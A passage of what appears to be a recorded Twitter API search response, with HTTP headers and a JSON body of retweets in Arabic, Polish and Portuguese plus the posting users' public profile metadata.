00:31:50 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_vWXo\/ERa4hzA0P4KdPAVsQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:50 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111008359713; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:50 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "200 OK", - "strict-transport-security": "max-age=631138519", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "79ad7f269cccf2e20522870f41e8f396", - "x-content-type-options": "nosniff", - "x-frame-options": "SAMEORIGIN", - "x-rate-limit-limit": "180", - "x-rate-limit-remaining": "176", - "x-rate-limit-reset": "1587861623", - "x-response-time": "150", - "x-transaction": "0030f8b1004d314d", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "0" - }, - "body": "{\"statuses\":[{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206512068734977,\"id_str\":\"1254206512068734977\",\"text\":\"RT @a_albander: \\u0635\\u0648\\u0631\\u0629 \\u062a\\u062d\\u0643\\u064a \\u0627\\u0644\\u0643\\u062b\\u064a\\u0631 .. \\u0641\\u0645\\u0627 \\u0647\\u0648 \\u0627\\u0644\\u062a\\u0639\\u0644\\u064a\\u0642 \\u0627\\u0644\\u0623\\u062c\\u0645\\u0644\\u061f https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"a_albander\",\"name\":\"\\u0639\\u0628\\u062f\\u0627\\u0644\\u0644\\u0647 \\u0627\\u0644\\u0628\\u0646\\u062f\\u0631\",\"id\":248141082,\"id_str\":\"248141082\",\"indices\":[3,14]}],\"urls\":[],\"media\":[{\"id\":1253870173766983690,\"id_str\":\"1253870173766983690\",\"indices\":[59,82],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"display_url\":\"pic.twitter.com\\\/GC8VzmAhVs\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/a_albander\\\/status\\\/1253870189361364994\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}},\"source_status_id\":1253870189361364994,\"source_status_id_str\":\"1253870189361364994\",\"source_user_id\":248141082,\"source_user_id_str\":\"248141082\"}]},\"extended_entities\":{\"media\":[{\"id\":1253870173766983690,\"id_str\":\"1253870173766983690\",\"indices\":[59,82],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"display_url\":\"pic.twitter.com\\\/GC8VzmAhVs\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/a_albander\\\/status\\\/1253870189361364994\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}},\"source_status_id\":1253870189361364994,\"source_status_id_str\":\"1253870189361364994\",\"source_user_id\":248141082,\"source_user_id_str\":\"248141082\"}]},\"metadata\":{\"iso_language_code\":\"ar\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2918893818,\"id_str\":\"2918893818\",\"name\":\"Nawaf\",\"screen_name\":\"ff3h1\",\"location\":\"\\u0627\\u0644\\u0645\\u0645\\u0644\\u0643\\u0629 \\u0627\\u0644\\u0639\\u0631\\u0628\\u064a\\u0629 \\u0627\\u0644\\u0633\\u0639\\u0648\\u062f\\u064a\\u0629\",\"description\":\"\\u0641\\u064a \\u0642\\u0627\\u0646\\u0648\\u0646 \\u0643\\u0628\\u0631\\u064a\\u0627\\u0626\\u064a \\u0644\\u0627 \\u0627\\u062d\\u0628 \\u0623\\u0645\\u062a\\u0644\\u0627\\u0643 \\u0627\\u0644\\u0627\\u0634\\u064a\\u0627\\u0621 \\u0627\\u0644\\u0645\\u062a\\u0627\\u062d\\u0629 \\u0644\\u0644\\u062c\\u0645\\u064a\\u0639\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":139,\"friends_count\":483,\"listed_count\":0,\"created_at\":\"Thu Dec 04 19:03:08 +0000 2014\",\"favourites_count\":164,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":3875,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1136978136598552576\\\/j2Xkn-ZI_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1136978136598552576\\\/j2Xkn-ZI_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2918893818\\\/1575300039\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 02:15:23 +0000 2020\",\"id\":1253870189361364994,\"id_str\":\"1253870189361364994\",\"text\":\"\\u0635\\u0648\\u0631\\u0629 \\u062a\\u062d\\u0643\\u064a \\u0627\\u0644\\u0643\\u062b\\u064a\\u0631 .. \\u0641\\u0645\\u0627 \\u0647\\u0648 \\u0627\\u0644\\u062a\\u0639\\u0644\\u064a\\u0642 \\u0627\\u0644\\u0623\\u062c\\u0645\\u0644\\u061f https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1253870173766983690,\"id_str\":\"1253870173766983690\",\"indices\":[43,66],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"display_url\":\"pic.twitter.com\\\/GC8VzmAhVs\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/a_albander\\\/status\\\/1253870189361364994\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1253870173766983690,\"id_str\":\"1253870173766983690\",\"indices\":[43,66],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWakR53WoAo9cdq.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/GC8VzmAhVs\",\"display_url\":\"pic.twitter.com\\\/GC8VzmAhVs\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/a_albander\\\/status\\\/1253870189361364994\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"medium\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1127,\"h\":750,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":453,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"ar\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":248141082,\"id_str\":\"248141082\",\"name\":\"\\u0639\\u0628\\u062f\\u0627\\u0644\\u0644\\u0647 \\u0627\\u0644\\u0628\\u0646\\u062f\\u0631\",\"screen_name\":\"a_albander\",\"location\":\"\",\"description\":\"\\u0645\\u0642\\u062f\\u0645 \\u0633\\u0639\\u0648\\u062f\\u064a \\u0648\\u0635\\u0627\\u0646\\u0639 \\u0645\\u062d\\u062a\\u0648\\u0649 \\u0641\\u064a @SkyNewsArabia\",\"url\":\"https:\\\/\\\/t.co\\\/7oZvCGmDJ8\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/7oZvCGmDJ8\",\"expanded_url\":\"https:\\\/\\\/www.snapchat.com\\\/add\\\/a_albander\",\"display_url\":\"snapchat.com\\\/add\\\/a_albander\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":233052,\"friends_count\":785,\"listed_count\":439,\"created_at\":\"Sun Feb 06 10:17:43 +0000 2011\",\"favourites_count\":472,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":8246,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"709397\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme6\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme6\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1252038061355143168\\\/vxQX5Uzc_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1252038061355143168\\\/vxQX5Uzc_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/248141082\\\/1587760417\",\"profile_link_color\":\"FF3300\",\"profile_sidebar_border_color\":\"86A4A6\",\"profile_sidebar_fill_color\":\"A0C5C7\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":1801,\"favorite_count\":3914,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ar\"},\"is_quote_status\":false,\"retweet_count\":1801,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ar\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206512018440200,\"id_str\":\"1254206512018440200\",\"text\":\"RT @czarnepazury: szczere o\\u015bwiadczyny z mi\\u0142o\\u015bci?\\nnieeeeeeeee\\nchallenge 200k na ig i o\\u015bwiadczyny z tego powodu?\\ntaaaaaaaaak https:\\\/\\\/t.co\\\/3LN\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"czarnepazury\",\"name\":\"charlie\",\"id\":1170717318160293888,\"id_str\":\"1170717318160293888\",\"indices\":[3,16]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"pl\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":765089605087535104,\"id_str\":\"765089605087535104\",\"name\":\"golden rose\",\"screen_name\":\"goldenrosexoxo\",\"location\":\"Los Angeles, CA\",\"description\":\"better to be disliked for who you are than to be loved for who you are not\\ud83d\\ude42\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":1391,\"friends_count\":801,\"listed_count\":9,\"created_at\":\"Mon Aug 15 07:35:51 +0000 2016\",\"favourites_count\":18227,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":24443,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1231352110639390722\\\/iua73CVa_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1231352110639390722\\\/iua73CVa_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/765089605087535104\\\/1582412196\",\"profile_link_color\":\"ABB8C2\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 17:46:20 +0000 2020\",\"id\":1254104469421375488,\"id_str\":\"1254104469421375488\",\"text\":\"szczere o\\u015bwiadczyny z mi\\u0142o\\u015bci?\\nnieeeeeeeee\\nchallenge 200k na ig i o\\u015bwiadczyny z tego powodu?\\ntaaaaaaaaak https:\\\/\\\/t.co\\\/3LNPi3Hjm1\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254103953920360449,\"id_str\":\"1254103953920360449\",\"indices\":[105,128],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254103953920360449\\\/pu\\\/img\\\/qDPP9qENdCSMX8Lv.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254103953920360449\\\/pu\\\/img\\\/qDPP9qENdCSMX8Lv.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/3LNPi3Hjm1\",\"display_url\":\"pic.twitter.com\\\/3LNPi3Hjm1\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/czarnepazury\\\/status\\\/1254104469421375488\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254103953920360449,\"id_str\":\"1254103953920360449\",\"indices\":[105,128],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254103953920360449\\\/pu\\\/img\\\/qDPP9qENdCSMX8Lv.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254103953920360449\\\/pu\\\/img\\\/qDPP9qENdCSMX8Lv.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/3LNPi3Hjm1\",\"display_url\":\"pic.twitter.com\\\/3LNPi3Hjm1\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/czarnepazury\\\/status\\\/1254104469421375488\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":540,\"h\":960,\"resize\":\"fit\"},\"small\":{\"w\":383,\"h\":680,\"resize\":\"fit\"},\"large\":{\"w\":540,\"h\":960,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[9,16],\"duration_millis\":22633,\"variants\":[{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254103953920360449\\\/pu\\\/vid\\\/360x640\\\/ktAHBz-gKCvmq_hU.mp4?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254103953920360449\\\/pu\\\/vid\\\/540x960\\\/wRH0cIrDyP0vCII8.mp4?tag=10\"},{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254103953920360449\\\/pu\\\/pl\\\/_VqskdApBVQQMRhB.m3u8?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254103953920360449\\\/pu\\\/vid\\\/320x568\\\/9DGpCwh-deks4BME.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"pl\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1170717318160293888,\"id_str\":\"1170717318160293888\",\"name\":\"charlie\",\"screen_name\":\"czarnepazury\",\"location\":\"\",\"description\":\"she wears a chain and destroyed my heart\\ndon't know how to tell my mom that it's you\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":4401,\"friends_count\":4087,\"listed_count\":43,\"created_at\":\"Sun Sep 08 15:15:47 +0000 2019\",\"favourites_count\":20946,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":9757,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245471451303510033\\\/aZ06Lbpc_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245471451303510033\\\/aZ06Lbpc_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1170717318160293888\\\/1574942236\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":49,\"favorite_count\":378,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pl\"},\"is_quote_status\":false,\"retweet_count\":49,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"pl\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511880056837,\"id_str\":\"1254206511880056837\",\"text\":\"RT @NazareAmarga: *25 de abril*\\n\\neu: https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"NazareAmarga\",\"name\":\"Nazar\\u00e9 Amarga\",\"id\":1072573028,\"id_str\":\"1072573028\",\"indices\":[3,16]}],\"urls\":[],\"media\":[{\"id\":1254098292553777152,\"id_str\":\"1254098292553777152\",\"indices\":[37,60],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"display_url\":\"pic.twitter.com\\\/g5WrhWuyLU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/NazareAmarga\\\/status\\\/1254098297557602304\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}},\"source_status_id\":1254098297557602304,\"source_status_id_str\":\"1254098297557602304\",\"source_user_id\":1072573028,\"source_user_id_str\":\"1072573028\"}]},\"extended_entities\":{\"media\":[{\"id\":1254098292553777152,\"id_str\":\"1254098292553777152\",\"indices\":[37,60],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"display_url\":\"pic.twitter.com\\\/g5WrhWuyLU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/NazareAmarga\\\/status\\\/1254098297557602304\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}},\"source_status_id\":1254098297557602304,\"source_status_id_str\":\"1254098297557602304\",\"source_user_id\":1072573028,\"source_user_id_str\":\"1072573028\"}]},\"metadata\":{\"iso_language_code\":\"pt\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1245833334984527875,\"id_str\":\"1245833334984527875\",\"name\":\"Elis\\ud83d\\udc3e\\u2661\",\"screen_name\":\"elis_fferri\",\"location\":\"\",\"description\":\"Metamorfose... borbolete-se!\\ud83c\\udf37\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":15,\"friends_count\":187,\"listed_count\":0,\"created_at\":\"Thu Apr 02 21:59:57 +0000 2020\",\"favourites_count\":214,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":102,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245833483966177286\\\/Z__Ipnaf_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245833483966177286\\\/Z__Ipnaf_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1245833334984527875\\\/1585875170\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 17:21:48 +0000 2020\",\"id\":1254098297557602304,\"id_str\":\"1254098297557602304\",\"text\":\"*25 de abril*\\n\\neu: https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254098292553777152,\"id_str\":\"1254098292553777152\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"display_url\":\"pic.twitter.com\\\/g5WrhWuyLU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/NazareAmarga\\\/status\\\/1254098297557602304\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254098292553777152,\"id_str\":\"1254098292553777152\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"display_url\":\"pic.twitter.com\\\/g5WrhWuyLU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/NazareAmarga\\\/status\\\/1254098297557602304\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"pt\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1072573028,\"id_str\":\"1072573028\",\"name\":\"Nazar\\u00e9 Amarga\",\"screen_name\":\"NazareAmarga\",\"location\":\"\",\"description\":\"loirona gostosa do twitter nazare.amarga@mynd8.com.br\",\"url\":\"https:\\\/\\\/t.co\\\/J2ScZ6Orzt\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/J2ScZ6Orzt\",\"expanded_url\":\"http:\\\/\\\/instagram.com\\\/NazareAmarga\",\"display_url\":\"instagram.com\\\/NazareAmarga\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":751542,\"friends_count\":311,\"listed_count\":128,\"created_at\":\"Wed Jan 09 01:59:48 +0000 